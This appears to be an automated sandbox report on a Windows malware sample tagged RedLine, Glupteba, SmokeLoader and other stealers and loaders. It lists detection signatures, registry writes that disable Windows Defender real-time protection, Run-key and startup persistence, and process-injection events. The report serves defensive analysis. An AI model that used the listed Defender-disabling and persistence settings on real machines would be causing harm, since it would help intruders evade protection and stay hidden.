Malware Analysis Report

2024-12-07 23:17

Sample ID 231220-b7pxnsfbhk
Target 2d21304daa82d7cdab065c29dec1161b.bin
SHA256 fb105a2eb6fb3d0290d66a7c7ef609fe7d90900b9fad0ab9c50818923a2b3455
Tags
glupteba redline smokeloader stealc zgrat 666 @oleh_ps livetraffic up3 backdoor google collection discovery dropper evasion infostealer loader persistence phishing rat stealer trojan paypal
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

fb105a2eb6fb3d0290d66a7c7ef609fe7d90900b9fad0ab9c50818923a2b3455

Threat Level: Known bad

The file 2d21304daa82d7cdab065c29dec1161b.bin was found to be: Known bad.

Malicious Activity Summary

glupteba redline smokeloader stealc zgrat 666 @oleh_ps livetraffic up3 backdoor google collection discovery dropper evasion infostealer loader persistence phishing rat stealer trojan paypal

RedLine payload

Modifies Windows Defender Real-time Protection settings

Glupteba payload

Detect ZGRat V1

RedLine

ZGRat

Stealc

Detected google phishing page

Glupteba

SmokeLoader

Modifies Windows Firewall

Downloads MZ/PE file

Modifies file permissions

Checks computer location settings

Executes dropped EXE

Drops startup file

Loads dropped DLL

Checks installed software on the system

Looks up external IP address via web service

Adds Run key to start application

Accesses Microsoft Outlook profiles

Legitimate hosting services abused for malware hosting/C2

Suspicious use of SetThreadContext

Detected potential entity reuse from brand paypal.

AutoIT Executable

Drops file in Program Files directory

Launches sc.exe

Enumerates physical storage devices

Program crash

Unsigned PE

outlook_office_path

Suspicious use of SendNotifyMessage

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Creates scheduled task(s)

Runs net.exe

Suspicious behavior: MapViewOfSection

Suspicious use of FindShellTrayWindow

Checks SCSI registry key(s)

Suspicious use of AdjustPrivilegeToken

Delays execution with timeout.exe

outlook_win_path

Modifies registry class

Enumerates system info in registry

Suspicious use of WriteProcessMemory

Suspicious use of SetWindowsHookEx

Suspicious behavior: EnumeratesProcesses

Modifies Internet Explorer settings

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-12-20 01:47

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-12-20 01:47

Reported

2023-12-20 01:50

Platform

win7-20231215-en

Max time kernel

62s

Max time network

155s

Command Line

"C:\Users\Admin\AppData\Local\Temp\8957d43878c36ee0ae11246393c9c1ce600536ab817435417e50af86a3f1b055.exe"

Signatures

Detect ZGRat V1

Description Indicator Process Target
N/A N/A N/A N/A

Detected google phishing page

phishing google

Glupteba

loader dropper glupteba

Glupteba payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Modifies Windows Defender Real-time Protection settings

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRawWriteNotification = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

SmokeLoader

trojan backdoor smokeloader

Stealc

stealer stealc

ZGRat

rat zgrat

Downloads MZ/PE file

Modifies Windows Firewall

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\netsh.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FANBooster131.lnk C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\icacls.exe N/A

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\8957d43878c36ee0ae11246393c9c1ce600536ab817435417e50af86a3f1b055.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\KU2rq84.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Windows\CurrentVersion\Run\MaxLoonaFest131 = "C:\\Users\\Admin\\AppData\\Local\\MaxLoonaFest131\\MaxLoonaFest131.exe" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A

Legitimate hosting services abused for malware hosting/C2

Looks up external IP address via web service

Description Indicator Process Target
N/A ipinfo.io N/A N/A
N/A ipinfo.io N/A N/A
N/A api.ipify.org N/A N/A
N/A api.2ip.ua N/A N/A
N/A api.2ip.ua N/A N/A
N/A api.2ip.ua N/A N/A

AutoIT Executable

Description Indicator Process Target
N/A N/A N/A N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1908 set thread context of 800 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4TM356LL.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Enumerates physical storage devices

Checks SCSI registry key(s)

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\6WA7jU8.exe N/A
Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\6WA7jU8.exe N/A
Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\6WA7jU8.exe N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Zoom C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\LowRegistry C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1" C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\PageSetup C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\SearchScopes C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Zoom C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Toolbar C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff5600000000000000dc04000065020000 C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff5600000000000000dc04000065020000 C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 908b849ce632da01 C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{BFC022E1-9ED9-11EE-8427-464D43A133DD} = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000d80bef292bee784c8e3c940d61fdfeb80000000002000000000010660000000100002000000087c802d2568ddf009be1e797e30e5826692c96c4ab3af304b4b686fd7b98ebfd000000000e8000000002000020000000cd8151d1e8c9d657bb1a7d96d17cd5ca334f0f7f25301d4dc1e5d5be3b62edaf900000005c1e1237e25cfb9322651ff972d62b1412103f1ac9e8a4b23e32e80bb0c47dc5a061edae1749e8fe05a51a9f687c766b06252c11eb8ca34f271786cf32f62ee0ccfd77b4a5b006845bfcd39e467e186c6a8f67d035a871981f1fcbed96ba234f67d5d508e21cbd60e1b8a09aec3ab8269e2069fc892d26fafaff90ee4529e975ba1b039c430f4faa81bae2e7df15ac6d40000000611b163ef043646a12a3d7ba070ca8b64f64441275427c25f0e0966b5c1bd19d12051a39f9c21d25f3738a10cd9792348c8b5743cadd2ea07b34793ddc4e4435 C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\GPU C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\GPU C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\InternetRegistry C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Toolbar C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\IETld\LowMic C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Zoom C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\IntelliForms C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\GPU C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{BFAA8F71-9ED9-11EE-8427-464D43A133DD} = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{BFB67651-9ED9-11EE-8427-464D43A133DD} = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\LowRegistry C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Zoom C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\IntelliForms C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Toolbar C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\PageSetup C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\IntelliForms C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\GPU C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\IETld\LowMic C:\Program Files\Internet Explorer\iexplore.exe N/A

Runs net.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\6WA7jU8.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\6WA7jU8.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\6WA7jU8.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A
N/A N/A C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
N/A N/A C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
N/A N/A C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
N/A N/A C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
N/A N/A C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
N/A N/A C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
N/A N/A C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
N/A N/A C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
N/A N/A C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
N/A N/A C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
N/A N/A C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
N/A N/A C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
N/A N/A C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
N/A N/A C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
N/A N/A C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
N/A N/A C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
N/A N/A C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
N/A N/A C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
N/A N/A C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
N/A N/A C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1984 wrote to memory of 2852 N/A C:\Users\Admin\AppData\Local\Temp\8957d43878c36ee0ae11246393c9c1ce600536ab817435417e50af86a3f1b055.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\KU2rq84.exe
PID 1984 wrote to memory of 2852 N/A C:\Users\Admin\AppData\Local\Temp\8957d43878c36ee0ae11246393c9c1ce600536ab817435417e50af86a3f1b055.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\KU2rq84.exe
PID 1984 wrote to memory of 2852 N/A C:\Users\Admin\AppData\Local\Temp\8957d43878c36ee0ae11246393c9c1ce600536ab817435417e50af86a3f1b055.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\KU2rq84.exe
PID 1984 wrote to memory of 2852 N/A C:\Users\Admin\AppData\Local\Temp\8957d43878c36ee0ae11246393c9c1ce600536ab817435417e50af86a3f1b055.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\KU2rq84.exe
PID 1984 wrote to memory of 2852 N/A C:\Users\Admin\AppData\Local\Temp\8957d43878c36ee0ae11246393c9c1ce600536ab817435417e50af86a3f1b055.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\KU2rq84.exe
